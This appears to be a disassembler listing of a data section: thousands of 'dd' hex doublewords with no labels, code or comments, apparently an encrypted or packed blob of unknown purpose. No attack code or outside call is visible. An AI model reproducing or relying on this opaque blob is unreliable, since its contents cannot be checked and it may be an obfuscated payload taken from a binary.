		dd 0D534875Ah, 43FE7D4Ch, 649D0B4Fh, 49424C30h,	0AC4A9B1Dh
		dd 0C07310D8h, 0C9E3811Fh, 0BBE04B45h, 0EE0B0192h, 0E3EB831Bh
		dd 15B5F95Ch, 0F4892442h, 0D2F292E0h, 0C9482C24h, 4400F6B9h
		dd 0EE819693h, 609C4622h, 73920C67h, 12C5563h, 8209BCEh
		dd 25140CD0h, 0BE095D59h, 76021B74h, 5A3D1877h,	74E4A03h
		dd 75C3580Ah, 68834520h, 54F610h, 39C3566Eh, 0C3A103E9h
		dd 0CE5EC6E5h, 53C845E2h, 0D782411Eh, 0EA45B7E2h, 7A593580h
		dd 0EB50CA16h, 0C0EBB23Fh, 886E69BFh, 0A0E9137Fh, 0EAC99001h
		dd 0D0B55C07h, 5EC228E0h, 946F4FB4h, 1608162Dh,	53B8C0B8h
		dd 22F0CF88h, 7548C2B5h, 0F7A55D71h, 35032718h,	2A2A1392h
		dd 0BD0BB92Fh, 58AAC231h, 0CDD2B7B4h, 2B2E68E6h, 0F9C23021h
		dd 0A7997F35h, 1787EC77h, 37EA5D4Ah, 2DB160D2h,	5CB7081Ah
		dd 0D4B70B66h, 0A13B4CDDh, 0C10088EAh, 810308E5h, 2FE666F5h
		dd 0B12F198h, 145E1764h, 9D2CB568h, 76B850C0h, 42120F13h
		dd 69B1DAE9h, 0C0D6A33Eh, 0D1685350h, 48427459h, 460495Bh
		dd 7974CB81h, 2E4EAF3Bh, 0EF0B07F3h, 887CF66Eh,	23FD57Ch
		dd 0E26B35F2h, 6FC2C00Dh, 34F3272Ch, 880E952h, 0FE97148Bh
		dd 366878CFh, 0F1BE1454h, 0BB5A1360h, 5A576417h, 55F813Eh
		dd 0DD2334h, 2FB15152h,	9D278A68h, 803C6718h, 0FE04ED7Ch
		dd 7E5C0CDh, 0F6B7FBC0h, 5AE925DDh, 0E3710D89h,	271B16B3h
		dd 68005444h, 18B40163h, 0A6CE8102h, 422EEC75h,	26878073h
		dd 24E94602h, 0AC72783Fh, 0EF4716AFh, 31685168h, 17DF1F4Ch
		dd 3D426D3Dh, 1924C1ACh, 5B544081h, 391D3058h, 2BB8CBFEh
		dd 0E9030661h, 64319216h, 1179E4FFh, 31144965h,	0A930E0FEh
		dd 818E2C4Ch, 2A1D1B17h, 38ADEC6Eh, 5A469375h, 7167384h
		dd 0BB534E60h, 8817289Fh, 0A6A820F3h, 0EB9CD1BDh, 0C34A63E6h
		dd 39F19EA4h, 58801893h, 7C4B6C05h, 0C828015Dh,	5905072Dh
		dd 6FE9E0D1h, 0E95B67ECh, 99FC5FE7h, 0E91673B6h, 8CAA6B65h
		dd 0EBC02DABh, 0A0C045F1h, 0CB012D08h, 0C3C2F956h, 1396FF02h
		dd 9F209E22h, 0E9093D6Fh, 0F2686B68h, 60467E75h, 431E60A0h
		dd 7BF75495h, 8DE98D0Bh, 3155E842h, 0D6FDE4EFh,	5ADFFC08h
		dd 80DA00F0h, 601914BAh, 631615C4h, 17DD0AD6h, 1E16EBC2h
		dd 16DF5FBCh, 827804BAh
		dd 0DDEC802Bh, 174C4E1Ah, 68177787h, 6E142D0h, 0C4D6EC3Fh
		dd 37B3FDDFh, 455F5725h, 947DAF02h, 0C19999Bh, 0B644024Fh
		dd 0FBB1BF04h, 40ECF130h, 0E987B2C0h, 1E96CFCBh, 81B4BFE3h
		dd 592072B5h, 83C69ECDh, 0D92C49C7h, 0FF5E5B82h, 2B15D2C1h
		dd 0FD41802Ah, 4467E248h, 0B9C1F90Ch, 0D72E4B57h, 9F4E617Dh
		dd 0A3203AA3h, 97B4F0E9h, 1811175Dh, 0B0E9FD5Ch, 5AAE8E49h
		dd 2F7953E8h, 6DCCA0E3h, 70E1C983h, 2B316F3Bh, 0DFC22F76h
		dd 0FD2735DBh, 0CE29A390h, 0A48C595Fh, 731325E9h, 8F465D5h
		dd 0C42D801h, 0D9020BB6h, 89669DF1h, 482A6812h,	0A8B64F30h
		dd 0D4F35130h, 6C477DC6h, 2D90988h, 0DD302FB5h,	37FFB40h
		dd 550FEABDh, 8B57B9CAh, 0CA66D73Fh, 34DA7F6h, 4F4817Ch
		dd 2D7C5747h, 0A07454Ch, 701A8C16h, 65D31CF8h, 2BF43507h
		dd 0EAA0449Bh, 957A7234h, 45603042h, 5E2801D4h,	0C301F57Fh
		dd 782651EDh, 2F2CF8E9h, 3AFD3327h, 1729AE4Ch, 1221C9A0h
		dd 82AFE9F8h, 64DF5A81h, 0C363E740h, 29BF0979h,	7D0CF9E9h
		dd 6E0F86BEh, 3F58038Fh, 52605E83h, 0E1E7F35Ah,	4281F037h
		dd 28368BC7h, 0E853014Dh, 3F7077C6h, 90171F25h,	2768521Eh
		dd 4FF67825h, 5CEE5D5Ah, 18090AB0h, 7715AE53h, 80A0142h
		dd 9D57A7A8h, 3888899Eh, 0F657A7EAh, 5A58017Bh,	0E92BF780h
		dd 50673C4Ch, 4141D822h, 0E56EDE31h, 6E8E216Ah,	0DD5E9909h
		dd 0F74C1E22h, 5AAD6801h, 0FC53FA4Ch, 65766D80h, 0ACC52FD1h
		dd 0F37D92FAh, 32F00077h, 10CEA6Dh, 635E981h, 0DA832CA2h
		dd 0C0E2A357h, 0FD755E5Dh, 0AF8A18Eh, 0B5C78415h, 9CC9F01Dh
		dd 13529C97h, 0BB17CA68h, 2128CD6Dh, 9124FAB5h,	7D61C282h
		dd 45F70889h, 6BAE3F98h, 175EAFFCh, 8AEA5712h, 29BAD249h
		dd 272D2AC3h, 0AD36527Ah, 4A0612D4h, 0B360D8FFh, 0D928800Eh
		dd 0A0EB8B5Bh, 9FE9B28Ch, 409C9D3Eh, 3C626816h,	0E44A54B3h
		dd 1900B959h, 816C452Eh, 97F16C9h, 0DDE97D3Dh, 62CEAFD0h
		dd 0BAFA1C9Bh, 0A15BFDC3h, 25BA6C00h, 2611845h,	50FAE281h
		dd 0C0FD6828h, 35846Eh,	0BD556C73h, 717664D7h, 168D215Ch
		dd 4BB023E9h, 787EEF54h, 29E9E9BDh, 0DBBB02EAh,	0C236CE05h
		dd 659ED765h, 0EB01BF90h, 75574E6h, 95FFC329h, 0F30814h
		dd 12AA648Fh, 0B7B8F6E9h, 0F0BDFA46h, 0D0169D07h, 5F190504h
		dd 10EE18AFh, 564E07EFh, 0C266ADFFh, 76470E68h,	775C70F5h
		dd 39EE8380h, 4F8B8101h, 0E899860h, 5A46C4DDh, 0BB2BD5A5h
		dd 0D704FB49h, 0E90BFE65h, 0B07140A0h, 517E9755h, 0D75204C9h
		dd 95A17BFCh, 43656BE1h, 0DAF93745h, 43ED0C52h,	40E2234Ch
		dd 0E19DF2C4h, 4320D807h, 3BD0B7C6h, 0E180D118h, 9549E906h
		dd 2FE783FDh, 0C828E804h, 0CB92968h, 40B38291h,	0C07DE3D0h
		dd 0E7C3CBF8h, 2CE9BCDCh, 427FAFAEh, 4FAFBD6Ah,	0FCE8E6C4h
		dd 0D558C972h, 0F1B96FE8h, 0B189FE41h, 9CF5B6C2h, 4E3BFCDAh
		dd 0A1D5E458h, 707B34EFh, 0CA98579Fh, 490F033Ch, 0B8F68110h
		dd 132B050Dh, 0A27ED76h, 17072D81h, 0D260AE5Eh,	2C509605h
		dd 141D347Ah, 9D7D072Dh, 18BDC3C6h, 4FCA29C7h, 0C4E1E259h
		dd 0AA175485h, 2FDA4B16h, 6BC2B725h, 0A5D54755h, 68140D94h
		dd 0D8CB6A02h, 661BBC4h, 0F75F741Bh, 4F5104DFh,	88C22E99h
		dd 78765D54h, 76307FDAh, 688043BDh, 0F35E4F14h,	0B3C586Dh
		dd 2B04DC8h, 0DD553D61h, 56001259h, 0D826D9BEh,	0F321246Fh
		dd 0CBE301F3h, 600F542Ch, 0FF82E706h, 25CC4DAh,	2F3A2008h
		dd 9116EB31h, 1F462D1Ah, 5EB8520h, 0CACD0712h, 5F750630h
		dd 50AAA221h, 0F4276E44h, 0BC455DFEh, 9AF8893h,	2A22AB91h
		dd 0CDE1D9BDh, 61B32FCDh, 94271693h, 301029A3h,	5A025926h
		dd 34E9720Eh, 704C5510h, 29383F30h, 2C171AC3h, 0A54C7FC2h
		dd 0F88007FCh, 0A23E1205h, 30FF2435h, 49DD1F33h, 72572FC8h
		dd 8346BF48h, 1991DB80h, 25618300h, 15623239h, 47298C1h
		dd 42021C2Dh, 9584BF20h, 79F8E3AAh, 70B7F677h, 2DED04B0h
		dd 0BE1C5E4Fh, 6808F450h, 0F425141Ch, 40F1D9EAh, 0F30BE954h
		dd 0C6785EBDh, 460A81C7h, 900BD906h, 0FC39C225h, 4CE656Bh
		dd 0CA3811DAh, 7B681484h, 2DFE5AEEh, 1F2386Ch, 626E181Eh
		dd 0E82CE4E9h, 0E28B503Dh, 8083FBBBh, 4F1C531h,	0EACC5493h
		dd 5E163404h, 5B8F98FAh, 2CBE035Ah, 1A2D68F9h, 252D4630h
		dd 0E677E3D2h, 1CD6B78Dh, 396292BFh, 0EDEBD9BEh, 0D946283Ch
		dd 312FEE70h, 5E6DB4Dh,	4DC25EBEh, 2E120F3Eh, 0FAD2C2BDh
		dd 0B787C210h, 0E5D5FCB7h, 0E564B41Eh, 113F8B8Ah, 0E3B86683h
		dd 0C684A74Ah, 0FF07E582h, 7654C0B9h, 0C9715D7Fh, 75001202h
		dd 30B513C0h, 0C106FC41h, 0F3E880FBh, 7B94B737h, 21BDEE5Ah
		dd 8A9FA340h, 0C809848Fh, 0AB77DB2Bh, 8CA1DD7Eh, 0ADD02158h
		dd 68E8015Eh, 0B234D6Fh, 4698B902h, 83552EB8h, 0DDA36853h
		dd 7A87A54h, 22F97EB2h,	4FB99h,	0FE3D0835h, 29D0901h, 90E17DCh
		dd 0F695D178h, 0D1D4A75Fh, 4BC66102h, 55FB42C9h, 7027357Eh
		dd 0FABE303Dh, 87048DBEh, 0AF56815h, 41E90D42h,	54620EEh
		dd 475A9D0Bh, 0BDC104F7h, 5A32F72Ch, 0A2AD257Dh, 0DFDA4E74h
		dd 0BE806E52h, 0F8B1502Eh, 4DFF6693h, 2A6F051Fh, 5102A68Ah
		dd 0F6B3D2B5h, 6C7EC05Fh, 0EE71C033h, 14D0B626h, 165CFFA0h
		dd 5C7F8025h, 1B08A006h, 33FC26E9h, 17E2E409h, 1A5D028Ah
		dd 2B90072h, 0BE4BB28Eh, 17AB0F17h, 1F9CFBBCh, 0EDB234E9h
		dd 0AF7E04A6h, 80AA1757h, 44E75425h, 7849F27Dh,	5F0527BEh
		dd 51DF4709h, 0BD5560D4h, 0DC000B73h, 59ECB919h, 48315F80h
		dd 1E3E36E9h, 2E5CA4Bh,	0F1685FF8h, 4AE9024Ch, 0C0C09EABh
		dd 65BD07A5h, 0C45F3B35h, 4400BED0h, 2C5966B1h,	7D7EFA05h
		dd 2636FD37h, 2880253Ah, 0E8C13C6Eh, 0D92FE903h, 0A55BD1C2h
		dd 0EB814DB8h, 0A8BF59B7h, 579940EEh, 52E1BF0Fh, 7DEE38F9h
		dd 6DB92F1Fh, 0CF5B835Dh, 600E890Fh, 3F6BC8DBh,	0AAE74E4Eh
		dd 6F9FBC05h, 0B5AFE294h, 35959CE7h, 29DD4C1Eh,	0C6E7F74Ah
		dd 2F174C3Bh, 251FFE28h, 41246557h, 200D1595h, 9B7AB4Dh
		dd 54EA74C4h, 1DC5614Bh, 93D7A2EBh, 7CEAC9BAh, 54E90C00h
		dd 0FCB851Fh, 3FAC3D3Ah, 0FEEFC062h, 62F5D1F5h,	0F0D9B54Ch
		dd 3811A208h, 0F6EFD85Eh, 0C25E80FEh, 78B564F4h, 94F53D4Eh
		dd 0FF60ED96h, 0BCE688C3h, 1C044695h, 1EA1D77h,	604A26C1h
		dd 0C875DA01h, 0A4440687h, 636807DAh, 52527896h, 656C62C7h
		dd 5B153609h, 0AFC0C06Ch, 2298957Ah, 0FE40F59Bh, 8551BF44h
		dd 5588509Fh, 5FA43956h, 0AA0549AFh, 0F0AAA8B8h, 1F4EE6D1h
		dd 1C683h, 0AFD3CDF6h, 0F04F3106h, 0EA42C2D9h, 0B709D511h
		dd 947A01F4h, 0F9024A0Ah, 547FA2A1h, 1C5D2F53h,	630BF26h
		dd 5780F80Ah, 98680551h, 0C54E471Eh, 0CAFE8061h, 8925DC7Eh
		dd 2AFFDCFh, 5DACCDA0h,	96B80730h, 4A0481Dh, 28C7D025h
		dd 17A3F2FFh, 0B132CACh, 0B87D1206h, 8122A917h,	355ED953h
		dd 2CF07A4Eh, 3E1E4103h, 0B65BD2A0h, 8A348D30h,	98A82F7Ch
		dd 0CC0C1285h, 7325681Ch, 49F7DB41h, 1B8D4771h,	0D1D9F547h
		dd 0C814334h, 0CFF778C6h, 5E03F08Ch, 94A2B52Dh,	0FCDA5ECBh
		dd 0D8C5B417h, 0D315E7FEh, 404063EAh, 6766F137h, 1BEE2D41h
		dd 97D186F4h, 0CCBE9667h, 0DD3C8B64h, 20C9124Eh, 0BFD34407h
		dd 0B443855Eh
		dd 31700BEAh, 0D7005DEBh, 328D1442h, 0EEDF2DFCh, 0F3BE5E93h
		dd 5B5404C6h, 0D8BE1D68h, 27160185h, 2FF5537h, 20AE5F34h
		dd 6FD67C0h, 0E6C0265Ah, 5B46412Ah, 55BE47Bh, 36217702h
		dd 5FE669E9h, 0F12E6266h, 8488A26Eh, 35123D2Eh,	0D2C2E29Ch
		dd 0FB219716h, 8BE04047h, 0F8739D73h, 31547EA7h, 0C9D399E2h
		dd 21C52A74h, 830C18Dh,	8B18BF2Fh, 237A6CD8h, 0B468F89Fh
		dd 3E1B60EDh, 6AB2037Ah, 0DDE18103h, 0C1154726h, 952FDB8Ah
		dd 89F4105Dh, 45259E0Bh, 0DC943A02h, 6C424209h,	0FA054A82h
		dd 0A709EA85h, 0F63B5574h, 4F261620h, 89E2B988h, 4350755Bh
		dd 235ECE92h, 0E8B8F000h, 5D137260h, 94644A50h,	7AEC8256h
		dd 990D98FDh, 0AD10C069h, 0B66A4F2Dh, 123F5775h, 293D8562h
		dd 71605D8h, 161B2CABh,	0D56A2Fh, 45079EEAh, 0F1811C7Bh
		dd 57EF0905h, 0BE56AA80h, 66251C4Fh, 0B5F1F66Ch, 0D3CE047h
		dd 2D78D07h, 0CD2F129h,	9D74722Eh, 0EF156E82h, 0EE3A99D7h
		dd 0ED020A72h, 542B389Ah, 5F5A4D74h, 0B088D8F9h, 6093DF5h
		dd 1F02F647h, 0B1E25BDEh, 458C761h, 0AC51D3C3h,	0A0DA16A0h
		dd 484E64C4h, 0F500AF7Bh, 368C783Dh, 0D117DDF7h, 0D70345EDh
		dd 17C0129Bh, 0D0202A9Ch, 0ED369A1Ah, 0EA5D8B7h, 3BC25F62h
		dd 60CBF2C0h, 18C01996h, 0B0D0906Fh, 0C50E54E9h, 0C965B757h
		dd 6CB50809h, 8F51499Dh, 0FE2D5817h, 84EB1FC4h,	1C1CC29Bh
		dd 0BF0411D8h, 4E2317E3h, 0D6164F82h, 8A06263h,	0A6534303h
		dd 0D58F2D57h, 41EBA27Fh, 8CCDFD40h, 25CD69A7h,	715C132Ah
		dd 14198038h, 0A5F8C0ABh, 1317CC7Ch, 7CEC7401h,	5E060CD0h
		dd 34B96CE9h, 56C70925h, 44CD07C8h, 0E875F93Ah,	0B5E63C1h
		dd 0FA291B50h, 0E9D7CF80h, 0E4831CD3h, 2BE80589h, 0A213B507h
		dd 68581705h, 0FAA87D5Eh, 0EA62E1C5h, 6D5C3622h, 8AC12DDDh
		dd 0CF810466h, 0D7354D7Dh, 0E8B05E9h, 0B7E387E9h, 1B3BA0C0h
		dd 141D8095h, 0BE1E137Ch, 0D7F70C22h, 237A82DAh, 49D7648h
		dd 0B778E60Fh, 0EBE584FEh, 2ED15D10h, 0DFC245B2h, 7255DBBh
		dd 8308FAE8h, 0ABB903B7h, 80ED2613h, 1C34F3BDh,	0C11542BFh
		dd 37BB3160h, 0CCCBA116h, 2E414716h, 0BD68E400h, 769B41h
		dd 361059D0h, 0A198E5C1h, 262D79B0h, 143186Fh, 0EF524ACFh
		dd 0B3B1C040h, 7B287AB4h, 722727CCh, 0AE68CD98h, 1A8C7AE5h
		dd 72054901h, 69D810h, 0B050C2FEh, 4E8C0D0h, 2CE50C07h
		dd 8E56C24Ch, 549BF273h, 0C797F90Fh, 5D69463h, 640A702Eh
		dd 0DC28881Eh, 0A9CD6A4Bh, 72E8A2Bh, 64B06866h,	5B9F94Bh
		dd 0A07AE946h, 5500BBF9h, 81124A23h, 580184E3h,	0F3040F31h
		dd 0C09E2006h, 68A5EB13h, 0E90DDD05h, 5CD39DE6h, 0D482BAF3h
		dd 82FF27E6h, 7D0FA629h, 7580AF14h, 0A4D3E955h,	3420CEA1h
		dd 4D1A12E1h, 0EC1BA30h, 0F701AB40h, 2ADDCD0h, 9527A9B2h
		dd 0D8C35E04h, 0F39E2F37h, 730B0267h, 6B42AF2Bh, 6ECA2560h
		dd 0F25CC5CFh, 972DB2BAh, 0E9A970AEh, 90BDE3CEh, 0F4DE8842h
		dd 9B99C3Bh, 3DDEBC1h, 4875FD8h, 514B20B3h, 578B839h, 72154232h
		dd 305CA601h, 1F3E6309h, 0E389281Dh, 0A51CEC3Fh, 0BBB582B8h
		dd 657164B3h, 0AA21301Bh, 457BABD9h, 0ABD2BC80h, 2520C99Dh
		dd 852D5C3Ah, 94DCEDD2h, 3B8C01FCh, 0DFF708B7h,	0B5194F7Bh
		dd 3ED1DD13h, 1C38EA3Dh, 0EFA8C4D7h, 0C9D4D1B9h, 0D5FDB133h
		dd 0A2521017h, 0E80548E3h, 0AA44C23Ah, 74CCC4A1h, 0B383283Eh
		dd 92F920E3h, 3201B800h, 0C3214403h, 127CB058h,	0EA0248ABh
		dd 2B60D281h, 0B9EAD38h, 9E7727DBh, 80DDFC4Dh, 0C1EFF921h
		dd 58C96E76h, 0BADFCE6Ch, 357C8EA7h, 0AF4C9F56h, 673FC57Ch
		dd 207658E9h, 95719D1Eh, 0AA011603h, 0FDF09A5Dh, 2A4B65B8h
		dd 0E95B5C9Fh, 4DDFD3F5h, 7A324257h, 0B503170Eh, 0C4FEF649h
		dd 0BFB4D9F8h, 0DE98B3F1h, 0DA091A10h, 0ECEC5B5Eh, 0FD4BBB48h
		dd 5946110Dh, 349B7913h, 3B46C942h, 57A0CDECh, 4D17E168h
		dd 14107BCAh, 0C9340BCFh, 65EF8458h, 0F02D0016h, 68F20748h
		dd 67447D31h, 0A32AC851h, 13D81663h, 0FE0543A9h, 0AB776810h
		dd 25178AF4h, 40DF4D21h, 3EB9CA29h, 0E05B6310h,	0D21CE7D9h
		dd 0CB6C795Bh, 8EBE3203h, 66E9E0A6h, 22C20B73h,	0A408F901h
		dd 0B7312508h, 31072BEh, 793EDAF1h, 54E1B03Ah, 12B83045h
		dd 0C138AC0Ch, 0E9490B05h, 33D4E244h, 0BCCA66BFh, 9706B203h
		dd 0E8EE8117h, 0D3401153h, 917908B8h, 58386804h, 54253EF9h
		dd 8918E845h, 1A2BB8D8h, 68061C27h, 627AD3F5h, 4ED178D9h
		dd 69E40742h, 0E66E5FCEh, 1B5E053Fh, 8A0170E6h,	7A6913BDh
		dd 12FD161h, 76F04211h,	541B215Dh, 50D3AEE1h, 2D2D879h
		dd 0A8EF4ED1h, 259C069Dh, 240C0E29h, 2C15D075h,	98589B88h
		dd 717E148h, 176D3AA3h,	75A903B2h, 0AC720325h, 55510043h
		dd 9E388A68h, 0C041BC6Dh, 0F90DABE5h, 0F5002A76h, 7DB0534Bh
		dd 0D5DE989h, 5259CB21h, 0AFB0150Ch, 66802A85h,	98C620Eh
		dd 7AC6684Fh, 8625876h,	6F78FE6Ch, 8100E328h, 8C449DC3h
		dd 0F3292658h, 0B10820F0h, 7CC20C55h, 0EC03F32Dh, 0F7579559h
		dd 8CC9E9DBh, 51C51B80h, 89202F1Bh, 848AEB4Bh, 0D255292Ch
		dd 91010B70h, 0E938D70Ch, 0E240E325h, 0E6DAC380h, 258C7BEBh
		dd 80E75ADDh, 53E6F7A5h, 8B0BD25Fh, 0C6E15F5Fh,	10BC7B7Eh
		dd 3765C481h, 3FD8AE10h, 33915D25h, 5D403FAEh, 0A26A69F3h
		dd 0A444C836h, 5FFB0105h, 49909201h, 0E53A0613h, 1C0806B0h
		dd 17AA549Dh, 27CDFF5Eh, 5C8168D0h, 51C2C255h, 0A484D588h
		dd 649CAFA8h, 8D40B556h, 75E6B32h, 5E70C00h, 90274558h
		dd 0FA8800FCh, 0FE89F561h, 9A5A84E9h, 0F15B08F6h, 119C6AA6h
		dd 8B673B78h, 0B1684904h, 53138C57h, 61F2BB05h,	800178A1h
		dd 63E47139h, 0F87077FEh, 0BB5E9D09h, 9EE4044Ah, 87143B1Eh
		dd 12D3CE15h, 0AE75530Dh, 0AF93A2B3h, 25686E28h, 4E186BE8h
		dd 0E9836434h, 0F7C21F9Eh, 0D4CB8659h, 0AD34E2AFh, 5B95E666h
		dd 16F02C21h, 822E85BFh, 56D107B9h, 6B2C1E88h, 29679255h
		dd 68EF5FCAh, 0F342C0A6h, 78249006h, 285EB129h,	6136467h
		dd 98EA1639h, 8FBE5F55h, 0D17BD01h, 0B27B3F77h,	6DFD5E85h
		dd 8A86E909h, 688976D9h, 4B0DEC30h, 0C0778802h,	19C64D17h
		dd 0F70B00BEh, 62FB0DD8h, 2D3B4BE6h, 6BB58454h,	7E824D35h
		dd 77F455A0h, 8DC37DA5h, 2DC1D1CAh, 0EEBB64E7h,	3352750Eh
		dd 2E6C92Ch, 0C4377E4Fh, 365A0B5Eh, 0AB659704h,	0FBA5E906h
		dd 0CF010444h, 0CD3EF268h, 5A87204Ah, 601A7B19h, 992E492Ah
		dd 43B9E8DEh, 6CEF30BEh, 0EC511702h, 1984B739h,	0B5AB8729h
		dd 2BDFE5E7h, 285D594Ch, 42C8BD02h, 0AE270BDFh,	24EAF965h
		dd 62E6522Ch, 0B0DEE913h, 257ABFF6h, 7274CA71h,	0ABF80B4Fh
		dd 0B76558ECh, 0D84D3F60h, 41E98296h, 0ABFC026Ah, 59B8CBE0h
		dd 90CB44FFh, 0D29B7318h, 7A19F967h, 0FE76610Fh, 70EF5C30h
		dd 9EFD95F3h, 9596976Ch, 0E697F679h, 0D681604h,	0A4176102h
		dd 5BBA2674h, 0C94A3DB6h, 522E92D1h, 0AB2764AAh, 0AE101CDAh
		dd 4FF41E3h, 0C7D4FFCAh, 482087ACh, 0EFE894Bh, 93A43D5Fh
		dd 54E9C4F3h, 13399EBh,	0D380F806h, 0AD3B151h, 0B0508805h
		dd 950A12FBh, 0B1C0ABC0h, 2EBE6079h, 0D49313Bh,	467F922h
		dd 4780FEC0h, 49D96FC7h, 0CE01602Bh, 2CF173E9h,	7641C64Eh
		dd 0FCF2C7F3h
		dd 4257697Fh, 3CCD45A6h, 6535211Ch, 84A0E05Dh, 57402D2Fh
		dd 2D072208h, 30984F68h, 5B346681h, 0A9ECA034h,	0F2C7AC0Bh
		dd 0B94A4BB2h, 6CE9B063h, 3E69BD10h, 49AB5174h,	78CDF591h
		dd 0D6BA5166h, 1285848Ah, 0D6C4BBC2h, 0EB96FBF9h, 0DCE9AFD1h
		dd 4B7AB37Fh, 0B8075DC8h, 0EC7D3036h, 2D0B3558h, 0DC31C927h
		dd 2E9AACC3h, 92661EC8h, 49CB8AD1h, 42A4CB72h, 0B84D57D3h
		dd 0A34AB328h, 0ECE2A641h, 8DED9B19h, 0E782466Eh, 0F8272B4Bh
		dd 0E556D6A2h, 49D0E9BDh, 43E90C9Fh, 4DF6311Ch,	0EF0763DEh
		dd 2EA12276h, 0A3CDF7C0h, 7B5636Bh, 28AB23A4h, 1328A06Fh
		dd 0F1247D02h, 71F529F6h, 22FAAD36h, 0E5D3F20Fh, 952CF01h
		dd 99A775Ah, 26AF846Dh,	0BD97AB09h, 750CF059h, 44BAED1Dh
		dd 0C2AA7637h, 40C6C560h, 43096D24h, 5875F700h,	0D2E80144h
		dd 25C097Ch, 63E671F5h,	587E1E54h, 0BCF0394Bh, 402A41F1h
		dd 0E8BF3697h, 0D0898B13h, 258184A2h, 884B5F9Fh, 27C8A448h
		dd 0E6F1CC78h, 0CA2815FEh, 0C14FF578h, 0D45DB309h, 0C5A7BD7h
		dd 0B492B6B6h, 8DA81E94h, 4317BA52h, 0A2005E66h, 40338E2h
		dd 83BDA36Ch, 55C9B702h, 31E92A18h, 64CB164Dh, 6802FCF6h
		dd 3BD444FBh, 445BD62h,	923AAC5Fh, 0EB4EA5A8h, 0C6F798Fh
		dd 72BFF120h, 0E1FE731Fh, 5A7E7A0Bh, 6239802Eh,	0B50D0C87h
		dd 0CE89B6E0h, 86DB67B5h, 6C46ADE9h, 7AFDBB05h,	92EF2EFEh
		dd 5AF7C393h, 193A36B9h, 93F27FA7h, 0CAC90F65h,	0B73624FAh
		dd 1CE9C2E5h, 0CFFE5DB4h, 0A1DD6870h, 60345FB6h, 0E2140E98h
		dd 10D22972h, 580B0898h, 4904FE01h, 25A0149Fh, 0EB80C304h
		dd 8BA2E9FAh, 0FCEF1B81h, 0EC48C473h, 16C027E7h, 80A2B652h
		dd 28A80EEEh, 1C735AF1h, 34FB39E2h, 810607C3h, 6A72BC3Bh
		dd 14C8F1ADh, 7DB0109Ah, 8BCF2D7Eh, 0BF03D821h,	21810EB2h
		dd 30AC1251h, 544A9E3h,	6CED09C1h, 3AF45F19h, 7B9008A0h
		dd 0F7581A63h, 0E5044CDDh, 3BF5C410h, 79253054h, 1244486h
		dd 52D0F601h, 838AC288h, 77E90512h, 0D6A705ECh,	0D57FB11h
		dd 900DD298h, 0B32E5F74h, 965CA7EAh, 1976C103h,	0B81DE936h
		dd 0E8D442Bh, 0D33AAC92h, 930FF6ABh, 282E47B1h,	0C574E957h
		dd 66B91095h, 55772F68h, 5B4025D4h, 0B65494E9h,	85BA4017h
		dd 1512114Fh, 47B9EA83h, 6F53E90Bh, 30836B9Ah, 0EE5ADC46h
		dd 0B9E97CEFh, 0D906F105h, 0BB0D4101h, 0B7210FF0h, 42AAE57Fh
		dd 93D4837Dh, 0E22B8F71h, 0CD384FBh, 6C88024Dh,	7F9EC47Fh
		dd 0E502305Ah, 98FDCBDFh, 50E4BBC5h, 3F0908FEh,	14271C57h
		dd 2DF6F77h, 0FEDBCBE9h, 540963F1h, 56DD855Ah, 0C8B83940h
		dd 176EBE0Eh, 432064E9h, 0C7FE5805h, 0F780040Eh, 5BF807EFh
		dd 0CC04D805h, 84185893h, 530160B2h, 0CF8685B7h, 984D1F6h
		dd 0D181E9DFh, 6B305A93h, 0C074D5C7h, 0A124B483h, 69202E6h
		dd 8FBA0205h, 47E1F030h, 0BBF04C8h, 382955E4h, 5F2FA45Ch
		dd 0D396731Ch, 7C20A0AFh, 0A010135Eh, 273A2208h, 0F72F2301h
		dd 4D0C6C8Ah, 2B1C0910h, 0D6EB3D4Eh, 0F503F088h, 0AFF51435h
		dd 0EAD2C42Bh, 9FB4B337h, 6A93C9ABh, 0A893BDB7h, 0A7BAB40Ch
		dd 0B4E91F7Fh, 0ECE4FCADh, 8C2708AFh, 17835651h, 0D455B159h
		dd 1691DAD2h, 7DB896BEh, 3C48A6CEh, 8E5A167Ah, 6E57001Fh
		dd 42467361h, 60428395h, 191AFEABh, 5E51DB7Dh, 53C32CAh
		dd 28668D6h, 0FCDC360h,	0A8035BF1h, 0DE052726h,	0B060A7E2h
		dd 7F82A712h, 3BC7FE0h,	40B9E680h, 0EAD3C619h, 2B1FA1AAh
		dd 0CAAFA9E1h, 54D06FDEh, 0F2C6A35Fh, 4F065C85h, 21B7DECEh
		dd 3B545387h, 5FD30ADCh, 0D67EA25Ah, 0C9A81A12h, 93F9FAB4h
		dd 0F37D6813h, 0FABC5E27h, 0DAF751A2h, 0B8FD9DCFh, 4EEFE9E6h
		dd 0ECDDDD6Dh, 0D9B72DC0h, 0CE860844h, 5F7B3500h, 9C09271Eh
		dd 7F6C847Eh, 2D76FC7Eh, 58BADD59h, 2DD5CEFDh, 30CE0595h
		dd 33D54195h, 4A153574h, 475534BBh, 1223689Bh, 86444084h
		dd 0EF12294Eh, 0A00B64FBh, 0BF6257C3h, 0C1280B26h, 612E7DB3h
		dd 3A6B324Dh, 850944E9h, 4DC680EBh, 4482DC4Bh, 3E1B5753h
		dd 4E6681FDh, 0A2A96CD5h, 64EE7875h, 0BA51162Ch, 68046B1Dh
		dd 4B8D5362h, 0CF18A02Eh, 552943C9h, 0F3BDD8F0h, 0A10D92CBh
		dd 0AA617ADBh, 0F73895D9h, 5FF8D6h, 0DC07CDBh, 587DB235h
		dd 4A7D4C9Eh, 3E378A1Eh, 0DF978F56h, 7AACD7FEh,	8B5E04A5h
		dd 77BB0992h, 66F4EA58h, 58F36EEBh, 4A8CAB93h, 28646CB8h
		dd 560E780h, 73763749h,	0A592B592h, 7888D457h, 0EA975775h
		dd 0B8E05F19h, 5D313AF3h, 1CE20C14h, 272127E4h,	5DF25AD5h
		dd 46864567h, 89134200h, 416090E9h, 5DB06E76h, 7729B2Dh
		dd 0B4332943h, 10CBB048h, 0FBF654E3h, 7216692h,	0A9D1E758h
		dd 52E9F75Ch, 136F4FE6h, 5F6CAF71h, 87822AE9h, 17CEC84h
		dd 0B9517A53h, 30E30138h, 390EC133h, 0A7132350h, 9A2208E9h
		dd 0F45EE643h, 17A19AA8h, 0E6F20159h, 10FE8BB9h, 83D818EAh
		dd 0F807522Dh, 46AC1D4h, 6BAF76DDh, 0B48F49B0h,	166805DCh
		dd 298DFF33h, 5EBD457Eh, 0F5C8BB21h, 0F74B5E26h, 0B4942AE5h
		dd 0D75DDEEAh, 1CCD1DDFh, 0FD211442h, 0F4CE805Fh, 195918Bh
